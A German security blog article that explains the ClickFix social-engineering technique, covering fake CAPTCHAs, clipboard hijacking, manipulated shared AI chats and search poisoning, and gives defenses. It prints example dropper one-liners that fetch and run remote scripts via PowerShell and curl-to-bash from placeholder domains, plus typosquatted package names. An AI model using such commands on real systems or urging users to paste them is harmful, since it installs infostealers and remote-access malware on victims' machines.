Zum Inhalt springen
CASOON

ClickFix – Wenn Nutzer selbst zur Malware greifen

Cloud Native

Wie Social Engineering klassische Schutzmaßnahmen aushebelt: Von Fake-CAPTCHAs über manipulierte KI-Chats bis zu Search Poisoning.

14 Minuten
ClickFix – Wenn Nutzer selbst zur Malware greifen
#Sicherheit #Malware #Social Engineering #Infostealer

Ein Klick auf “Ich bin kein Roboter”. Eine Anweisung, einen Befehl zu kopieren. Ein kurzes Einfügen in Terminal oder PowerShell. Fertig.

Was wie eine harmlose Verifikation aussieht, ist der Einstieg in eine Infektion. Keine Datei wurde heruntergeladen. Kein Exploit wurde ausgenutzt. Der Nutzer hat die Malware selbst ausgeführt – und genau das macht die Technik so gefährlich.

ClickFix nennt sich diese Angriffsmethode, die seit 2024 rasant an Bedeutung gewinnt. Sie kombiniert Social Engineering mit legitimen Systemtools und umgeht dabei klassische Schutzmaßnahmen fast vollständig.

Das Prinzip: Der Nutzer als Angriffsvektor

ClickFix ist keine technische Schwachstelle. Es ist Social Engineering in seiner effektivsten Form: Der Angreifer bringt das Opfer dazu, selbst einen Befehl auszuführen, der Malware nachlädt.

Warum das so gut funktioniert

Klassische Malware-Verteilung hat ein Problem: Moderne Betriebssysteme warnen vor Downloads. Gatekeeper (macOS), SmartScreen (Windows), Browser-Warnungen – all diese Mechanismen greifen, wenn eine Datei aus dem Internet heruntergeladen wird.

ClickFix umgeht das elegant:

  1. Kein initialer Download – der Nutzer führt einen Befehl aus, keine Datei
  2. User-initiated Action – das Betriebssystem behandelt es als legitime Admin-Aktion
  3. Legitime Tools – PowerShell, Terminal, curl sind keine Malware
  4. Keine Warnung – weil technisch nichts Verdächtiges passiert

Der Angreifer nutzt das Vertrauen des Systems in seinen Nutzer aus.

Die Anatomie eines ClickFix-Angriffs

Phase 1: Der Köder

Der Nutzer muss auf eine präparierte Seite gelockt werden. Die Methoden sind vielfältig:

Fake-CAPTCHAs und Verifikationen:

  • “Bestätigen Sie, dass Sie kein Roboter sind”
  • “Ihr Browser muss verifiziert werden”
  • “Sicherheitsüberprüfung erforderlich”

Manipulierte Hilfe-Inhalte:

  • Gefälschte Support-Artikel
  • Manipulierte Foreneinträge
  • Geteilte KI-Chat-Konversationen mit “Tipps”

Search Poisoning:

  • Gesponserte Suchergebnisse für häufige Probleme
  • SEO-optimierte Malware-Seiten
  • Typosquatting auf beliebten Domains

Phishing-Mails:

  • “Ihr Dokument konnte nicht geöffnet werden – folgen Sie diesen Schritten”
  • Fake-Rechnungen mit “Installationsanleitung”

Phase 2: Der Trigger

Auf der präparierten Seite passiert Folgendes:

  1. Clipboard-Hijacking: Ein Befehl wird in die Zwischenablage kopiert – oft ohne sichtbare Aktion
  2. Anweisung zur Ausführung: Der Nutzer wird aufgefordert, eine Tastenkombination zu drücken

Typische Anweisungen:

Windows:

  • “Drücken Sie Win+R, dann Strg+V, dann Enter”
  • “Öffnen Sie PowerShell und fügen Sie den Befehl ein”

macOS:

  • “Öffnen Sie Terminal und führen Sie diesen Befehl aus”
  • “Kopieren Sie den folgenden Text und fügen Sie ihn ein”

Der Nutzer sieht oft nicht einmal, welcher Befehl ausgeführt wird – er vertraut der Anweisung.

Phase 3: Der Dropper

Der ausgeführte Befehl ist typischerweise ein Einzeiler, der weitere Payloads nachlädt:

Windows (PowerShell):

powershell -w hidden -c "iex(iwr 'https://[domain]/payload.ps1')"

macOS (Bash):

curl -s "https://[domain]/script.sh" | bash

Verschleierte Varianten:

powershell -e [Base64-kodierter Befehl]

Was dieser Befehl tut:

  1. Versteckt das Fenster (-w hidden)
  2. Lädt ein Skript von einem Server herunter
  3. Führt es direkt im Speicher aus – keine Datei auf der Festplatte

Phase 4: Die Payload

Das nachgeladene Skript installiert die eigentliche Malware. Typische Payloads sind:

Infostealer:

  • Browser-Daten (Passwörter, Cookies, Autofill)
  • Krypto-Wallets
  • Keychain/Credential Manager
  • Dateien aus sensiblen Ordnern
  • Session-Tokens (Discord, Telegram, etc.)

Remote Access Trojaner (RATs):

  • Vollzugriff auf das System
  • Keylogging
  • Screenshot-Capture
  • Dateizugriff

Loader für weitere Malware:

  • Ransomware
  • Cryptominer
  • Botnet-Clients

Varianten und Evolution

ClickFix ist kein statisches Konzept. Die Technik entwickelt sich ständig weiter.

Klassisch: Fake-CAPTCHAs

Die ursprüngliche Variante nutzt gefälschte Bot-Prüfungen:

  1. Nutzer landet auf einer Seite (via Phishing, Malvertising, kompromittierte Website)
  2. Fake-CAPTCHA erscheint: “Klicken Sie auf ‘Ich bin kein Roboter’”
  3. Beim Klick wird ein Befehl in die Zwischenablage kopiert
  4. Anweisung: “Drücken Sie Win+R, Strg+V, Enter zur Verifikation”

Diese Variante nutzt Verification Fatigue aus – Nutzer sind CAPTCHAs gewohnt und klicken reflexartig.

Evolution: Geteilte KI-Chats

Eine neuere Variante missbraucht das Vertrauen in KI-Assistenten:

  1. Angreifer erstellt eine Konversation mit einem KI-Chatbot
  2. Die Konversation enthält scheinbar hilfreiche Tipps
  3. Irgendwann: “Öffne Terminal und führe diesen Befehl aus”
  4. Der Chat wird öffentlich geteilt und via Ads/SEO verbreitet

Evolution: Search Poisoning

Angreifer optimieren ihre Inhalte für Suchmaschinen:

Gekaufte Anzeigen:

  • Google Ads für häufige Support-Anfragen
  • “Mac Speicher freigeben”, “Windows beschleunigen”, “Browser reparieren”

SEO-Manipulation:

  • Erstellung von Fake-Support-Seiten
  • Kopieren legitimer Inhalte mit eingebettetem Schadcode
  • Ausnutzung von Expired Domains mit guter Reputation

Das Ergebnis: Nutzer suchen nach Hilfe und finden Malware – prominent platziert in den Suchergebnissen.

Evolution: Plattform-spezifische Köder

Angreifer passen ihre Köder an die Zielgruppe an:

Entwickler:

  • Fake-NPM-Pakete mit “Installationsanleitung”
  • GitHub-Issues mit “Workaround”
  • Stack Overflow-Antworten mit verstecktem Payload

Gamer:

  • “Cheats” und “Hacks” für beliebte Spiele
  • Fake-Mod-Installer
  • “Kostenlose Premium-Versionen”

Unternehmen:

  • Fake-Rechnungen und Dokumente
  • “IT-Support”-Anrufe mit Remote-Anweisungen
  • Gefälschte Software-Updates

Technische Analyse: Warum Schutzmaßnahmen versagen

Gatekeeper und SmartScreen: Wirkungslos

Diese Schutzmechanismen prüfen heruntergeladene Dateien auf Signaturen und Reputation. Bei ClickFix gibt es keine heruntergeladene Datei – der Befehl wird direkt ausgeführt.

macOS Gatekeeper:

  • Prüft nur Dateien mit Quarantine-Attribut
  • Terminal-Befehle haben kein solches Attribut
  • Payload wird im Speicher ausgeführt, nicht gespeichert

Windows SmartScreen:

  • Prüft Downloads aus dem Internet
  • PowerShell-Befehle werden nicht geprüft
  • Ausführung erfolgt im Kontext des Nutzers

Antivirus: Blind für In-Memory-Ausführung

Klassische Antivirus-Software scannt Dateien auf der Festplatte. ClickFix-Payloads:

  1. Werden direkt im Speicher ausgeführt
  2. Schreiben keine Dateien (oder nur verschlüsselte)
  3. Nutzen legitime Systemtools (PowerShell, bash)
  4. Kommunizieren über legitime Protokolle (HTTPS)

Ergebnis: Kein Alarm, kein Fund.

EDR: Umgehung durch Syscalls

Moderne Endpoint Detection and Response (EDR) Lösungen überwachen API-Aufrufe. Fortgeschrittene ClickFix-Varianten umgehen das:

Direkte Syscalls:

  • Aufruf von Kernel-Funktionen ohne Win32-API
  • Umgehung von User-Mode-Hooks
  • EDR sieht die Aktion nicht

Syscall-Thunk-Tables:

  • Dynamische Ermittlung von Syscall-Nummern
  • Keine statischen Signaturen möglich

Living-off-the-Land: Kein verdächtiger Prozess

ClickFix nutzt ausschließlich legitime Systemtools:

Windows:

  • powershell.exe – legitimer Systembestandteil
  • mshta.exe – HTML Application Host
  • certutil.exe – Zertifikatsverwaltung (kann Base64 dekodieren)
  • bitsadmin.exe – Download-Manager

macOS:

  • curl – Netzwerk-Tool
  • bash – Standard-Shell
  • osascript – AppleScript-Ausführung
  • dscl – Directory Service CLI

Das Problem: Diese Tools sind keine Malware. Ihre Ausführung ist normal. Ein Admin, der PowerShell nutzt, ist unverdächtig.

Erkennung: Warnsignale und Red Flags

Für Endnutzer

Verdächtige Kontexte:

  • CAPTCHAs, die Terminal-Befehle erfordern
  • “Verifikationen”, die Tastenkombinationen verlangen
  • Hilfe-Artikel, die Shell-Befehle empfehlen (ohne Erklärung)

Verdächtige Befehle:

  • curl ... | bash oder iex(iwr ...) – Remote Code Execution
  • Base64-kodierte Strings – Verschleierung
  • powershell -w hidden – Verstecktes Fenster
  • xattr -d com.apple.quarantine – Explizite Gatekeeper-Umgehung

Für Security-Teams

Prozess-Monitoring:

  • PowerShell mit -e oder -enc Parameter (Base64)
  • PowerShell mit -w hidden (verstecktes Fenster)
  • Ungewöhnliche Parent-Child-Beziehungen (explorer.exe → powershell.exe → curl.exe)

Netzwerk-Monitoring:

  • Downloads von unbekannten Domains via curl/wget/Invoke-WebRequest
  • Verbindungen zu bekannten C2-IPs
  • Ungewöhnliche DNS-Anfragen

Verhaltensanalyse:

  • Clipboard-Zugriffe vor Befehlsausführung
  • Schnelle Abfolge: Browser → Terminal → Netzwerkaktivität

Schutzmaßnahmen

Für Endnutzer

1. Goldene Regel: Keine Befehle aus dem Internet ausführen

Egal wie vertrauenswürdig die Quelle erscheint:

  • Verstehen Sie den Befehl, bevor Sie ihn ausführen
  • Fragen Sie im Zweifelsfall jemanden mit Expertise
  • Offizielle Support-Seiten kopieren selten Shell-Befehle

2. CAPTCHAs brauchen keine Terminal-Befehle

3. Geteilte Inhalte kritisch betrachten

  • KI-Chat-Links können von jedem erstellt werden
  • Forum-Antworten können manipuliert sein
  • Auch Stack Overflow ist nicht immun

4. Bei Verdacht: Nicht ausführen, melden

  • Schließen Sie den Tab
  • Leeren Sie die Zwischenablage
  • Melden Sie die Seite (Google Safe Browsing, Phishing-Report)

Für Unternehmen

1. Awareness-Training

Mitarbeitende müssen verstehen:

  • Wie Social Engineering funktioniert
  • Warum “Anleitung aus dem Internet” kein Vertrauensmerkmal ist
  • Wann IT-Support kontaktiert werden sollte

2. Technische Maßnahmen

PowerShell-Härtung (Windows):

  • Constrained Language Mode für Standardnutzer
  • Script Block Logging aktivieren
  • Ausführungsrichtlinien verschärfen

Terminal-Überwachung (macOS):

  • Shell-History an SIEM weiterleiten
  • Verdächtige Befehle alertieren

Netzwerk-Kontrollen:

  • DNS-Filterung für bekannte Malware-Domains
  • Proxy-Logs auf verdächtige Downloads prüfen
  • Egress-Filterung für ungewöhnliche Verbindungen

3. Endpoint Detection and Response (EDR)

Moderne EDR-Lösungen können:

  • Verhaltensanomalien erkennen
  • Prozessbäume analysieren
  • Bekannte ClickFix-Muster blockieren

4. Incident Response vorbereiten

  • Playbook für ClickFix-Infektionen erstellen
  • Forensik-Fähigkeiten aufbauen (Memory-Analyse)
  • Kommunikationswege definieren

Die breitere Bedrohungslage

Kommerzialisierung

ClickFix-Techniken werden als Malware-as-a-Service verkauft:

  • Fertige Kits mit Fake-CAPTCHA-Seiten
  • Automatisierte Payload-Generierung
  • C2-Infrastruktur inklusive
  • Regelmäßige Updates zur Umgehung neuer Schutzmaßnahmen

Preise: Einige hundert bis tausend Dollar pro Monat.

Staatliche Akteure

Auch APT-Gruppen adaptieren ClickFix:

  • Gezielte Angriffe auf Unternehmen und Behörden
  • Kombination mit Spear-Phishing
  • Langfristige Persistenz statt schneller Datendiebstahl

Cross-Platform

ClickFix funktioniert überall:

  • Windows: PowerShell, cmd, mshta
  • macOS: bash, zsh, osascript
  • Linux: bash, curl, wget

Die Technik ist plattformagnostisch – nur die Befehle unterscheiden sich.

Das Entwickler-Dilemma: Wenn curl | bash normal ist

Für eine Berufsgruppe ist ClickFix besonders tückisch: Entwickler. Denn was für normale Nutzer verdächtig klingt, gehört für sie zum Alltag.

Die normalisierte Gefahr

Schauen wir uns an, wie legitime Tools installiert werden:

Homebrew (macOS):

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Rust:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Node Version Manager (nvm):

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash

Bun:

curl -fsSL https://bun.sh/install | bash

Das Pattern ist identisch mit ClickFix: curl [URL] | bash. Der einzige Unterschied ist die Absicht hinter der URL.

Warum Entwickler besonders gefährdet sind

1. Gewöhnung an Shell-Installer

Entwickler führen regelmäßig Befehle aus, die sie aus Dokumentationen kopieren. Das Training, “niemals Befehle aus dem Internet ausführen”, greift nicht – weil es ihr Arbeitsalltag ist.

2. Höhere Privilegien

Entwickler-Maschinen haben oft:

  • sudo-Zugriff
  • SSH-Keys zu Produktionsservern
  • Cloud-Credentials (AWS, GCP, Azure)
  • API-Tokens für kritische Dienste
  • Zugang zu Code-Repositories

3. Vertrauen in die Community

Stack Overflow, GitHub Issues, Discord-Server – Entwickler helfen sich gegenseitig. Dieses Vertrauen wird ausgenutzt:

  • Gefälschte GitHub-Repos mit “Bugfix”-Anweisungen
  • Manipulierte npm/pip-Pakete mit Post-Install-Scripts
  • Stack Overflow-Antworten mit verstecktem Payload
  • Discord-Bots, die “hilfreiche” Befehle posten

4. Zeitdruck und Pragmatismus

“Ich muss das schnell zum Laufen bringen” – und schon wird ein Befehl kopiert, ohne ihn zu prüfen. Die Deadline ist wichtiger als die Security-Paranoia.

Reale Angriffsvektoren auf Entwickler

Typosquatting in Package Registries:

npm install lodahs  # statt lodash
pip install reqeusts  # statt requests

Das falsch geschriebene Paket enthält Malware im Post-Install-Hook.

Gefälschte GitHub-Repos:

Ein Fork eines beliebten Tools mit “Performance-Verbesserungen”. Die README enthält:

curl -fsSL https://[fake-domain]/install.sh | bash

Manipulierte Dokumentation:

Kompromittierte oder gefälschte Docs-Seiten, die legitim aussehen, aber Malware-Befehle enthalten.

Supply Chain via Dependencies:

Ein Maintainer-Account wird übernommen. Das nächste Update enthält einen Infostealer. Tausende Projekte sind betroffen, weil sie das Paket als Dependency nutzen.

Schutzmaßnahmen für Entwickler

1. Skripte vor der Ausführung prüfen

Statt:

curl -fsSL https://example.com/install.sh | bash

Besser:

curl -fsSL https://example.com/install.sh -o install.sh
cat install.sh  # oder: less install.sh
# Prüfen, was das Skript tut
bash install.sh

2. Checksummen und Signaturen verifizieren

Seriöse Projekte bieten GPG-Signaturen oder SHA256-Hashes:

curl -fsSL https://example.com/install.sh -o install.sh
curl -fsSL https://example.com/install.sh.sha256 -o install.sh.sha256
sha256sum -c install.sh.sha256

3. Offizielle Quellen nutzen

  • Immer von der offiziellen Dokumentation ausgehen
  • URLs manuell eingeben statt aus Foren kopieren
  • Bei GitHub: Repo-Owner und Sternezahl prüfen

4. Sandbox für unbekannte Tools

Neue Tools zuerst in einer VM oder einem Container testen:

docker run -it --rm ubuntu:latest
# Hier das unbekannte Tool installieren

5. Lockfiles und Dependency Pinning

// package.json
"dependencies": {
  "lodash": "4.17.21"  // Exakte Version, nicht ^4.17.21
}

Mit exakten Versionen und Lockfiles kann ein kompromittiertes Update nicht automatisch eingespielt werden.

6. Package Registry Scanning

Tools wie npm audit, pip-audit oder Dependabot warnen vor bekannten Schwachstellen in Dependencies.

Die unbequeme Wahrheit

Die curl | bash-Konvention ist bequem – und gefährlich. Sie hat sich etabliert, weil sie funktioniert. Aber sie trainiert genau das Verhalten, das ClickFix ausnutzt.

Die Realität: Jeder curl | bash-Befehl ist ein Vertrauensvorschuss. Manchmal ist er gerechtfertigt (Homebrew, Rust). Manchmal nicht (zufälliger GitHub-Link).

Entwickler müssen lernen, diesen Unterschied zu erkennen – schnell und zuverlässig. Denn ihre Maschinen sind wertvoller als die der meisten Nutzer.

Der Mensch bleibt das schwächste Glied

ClickFix ist keine technische Revolution. Es ist die konsequente Ausnutzung einer einfachen Tatsache: Betriebssysteme vertrauen ihren Nutzern.

Wenn ein Nutzer einen Befehl ausführt, geht das System davon aus, dass er weiß, was er tut. Dieses Vertrauen ist grundsätzlich richtig – aber es macht Social Engineering so effektiv.

Die Verteidigung ist dreischichtig:

  1. Awareness: Nutzer müssen wissen, dass solche Angriffe existieren
  2. Skepsis: “Führe diesen Befehl aus” sollte immer Alarm auslösen
  3. Technische Kontrollen: EDR, Logging, Netzwerküberwachung als Sicherheitsnetz

Keine dieser Schichten ist allein ausreichend. Aber zusammen reduzieren sie das Risiko erheblich.

ClickFix wird nicht verschwinden. Die Technik ist zu effektiv, zu billig, zu schwer zu blockieren. Was sich ändern kann, ist das Bewusstsein – bei Nutzern, bei Unternehmen, bei der Security-Community.

Denn am Ende ist ClickFix nur so erfolgreich, wie wir es zulassen.

Weiterführende Ressourcen